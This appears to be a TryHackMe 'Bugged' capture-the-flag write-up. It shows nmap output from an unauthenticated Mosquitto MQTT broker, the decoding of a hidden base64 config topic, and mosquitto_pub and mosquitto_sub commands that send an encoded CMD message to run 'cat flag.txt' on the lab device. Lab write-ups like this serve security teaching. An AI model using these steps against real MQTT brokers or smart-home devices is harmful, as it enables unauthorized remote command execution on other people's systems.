TryHackMe Bugged Writeup (MQTT Broker)

Summary

Bugged exposes a single service, a Mosquitto 2.0.14 MQTT broker on port 1883 with no authentication and no encryption. The nmap mqtt-subscribe script already shows the smart home topics and the broker’s own statistics, and a subscribe script pointed at every topic catches one that does not belong: a base64 blob published to a random looking config topic. Decoding it reveals a client id, a list of registered commands (HELP, CMD and SYS) and two more obfuscated topics, one to publish commands to and one that carries the responses. Subscribing to the output topic and publishing a base64 encoded CMD message with the matching id runs commands on the device and returns the flag.

export IP=10.10.216.224

Port scanning

Scanned at 2023-03-04 14:51:19 EST for 15s

PORT STATE SERVICE REASON VERSION 1883/tcp open mosquitto version 2.0.14 syn-ack | mqtt-subscribe: | Topics and their most recent payloads: | SYS/broker/load/bytes/received/1min: 4367.15 | SYS/broker/uptime: 2123 seconds | SYS/broker/load/bytes/sent/15min: 560.02 | SYS/broker/subscriptions/count: 6 | SYS/broker/store/messages/bytes: 287 | SYS/broker/messages/received: 3212 | livingroom/speaker: {“id”:2346614365862154668,”gain”:75} | SYS/broker/load/connections/5min: 0.92 | SYS/broker/clients/connected: 3 | SYS/broker/messages/stored: 40 | SYS/broker/store/messages/count: 40 | SYS/broker/messages/sent: 3373 | SYS/broker/load/sockets/5min: 1.15 | SYS/broker/load/bytes/sent/1min: 2615.95 | SYS/broker/clients/inactive: 1 | SYS/broker/load/messages/sent/5min: 104.14 | SYS/broker/bytes/received: 152051 | SYS/broker/load/bytes/received/15min: 3897.18 | SYS/broker/load/sockets/15min: 0.77 | SYS/broker/load/connections/1min: 2.51 | kitchen/toaster: {“id”:9115559963480263,”in_use”:true,”temperature”:145.56934,”toast_time”:285} | frontdeck/camera: {“id”:6167676289991932567,”yaxis”:-1.1628265,”xaxis”:48.917297,”zoom”:0.22047164,”movement”:false} | SYS/broker/version: mosquitto version 2.0.14 | SYS/broker/retained messages/count: 40 | SYS/broker/publish/messages/sent: 164 | SYS/broker/load/bytes/sent/5min: 938.07 | SYS/broker/load/messages/sent/15min: 87.49 | SYS/broker/load/sockets/1min: 3.12 | SYS/broker/load/messages/sent/1min: 144.88 | SYS/broker/load/bytes/received/5min: 4321.85 | SYS/broker/publish/bytes/received: 108399 | SYS/broker/load/publish/sent/5min: 12.33 | SYS/broker/clients/disconnected: 1 | SYS/broker/load/publish/sent/15min: 5.03 | SYS/broker/load/publish/sent/1min: 49.87 | SYS/broker/load/connections/15min: 0.49 | SYS/broker/load/messages/received/5min: 91.99 | SYS/broker/clients/active: 3 | SYS/broker/bytes/sent: 20125 | storage/thermostat: {“id”:5560024698540510532,”temperature”:23.154219} | SYS/broker/clients/maximum: 4 | SYS/broker/clients/total: 4 | SYS/broker/load/messages/received/1min: 95.54 | patio/lights: {“id”:5069767467861321717,”color”:”BLUE”,”status”:”OFF”} | SYS/broker/load/messages/received/15min: 82.52 |_ $SYS/broker/publish/bytes/sent: 1770

NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:51 Completed NSE at 14:51, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:51 Completed NSE at 14:51, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:51 Completed NSE at 14:51, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.62 seconds

Exploitation

• Making the use of “subscribe.py”, located in the same folder as the README.md, I was able to listen all the topics available on the mosquitto server (10.10.216.224, 1883) as there was no authentication needed and the traffic wasnt encrypted

Strange message

[+] Topic: yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config - Message: b’eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==’

• Base64 decrypted: Message: {“id”:”cdd1b1c0-1c40-4b0f-8e22-61b357548b7d”,”registered_commands”:[“HELP”,”CMD”,”SYS”],”pub_topic”:”U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub”,”sub_topic”:”XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub”}

• There are two hidden topics, one that we send commands to and one that we can subscribe to receive the output from the commands we execute.

Listening mosquitto_sub -t ‘U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub’ -h 10.10.216.224 -p 1883 -v

Publishing {“id”: “cdd1b1c0-1c40-4b0f-8e22-61b357548b7d”, “cmd”: “CMD”, “arg”: “cat flag.txt”}

(syntax + base64 encrypted) mosquitto_pub -h 10.10.216.224 -p 1883 -t ‘XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub’ -m “eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAiY2F0IGZsYWcudHh0In0=”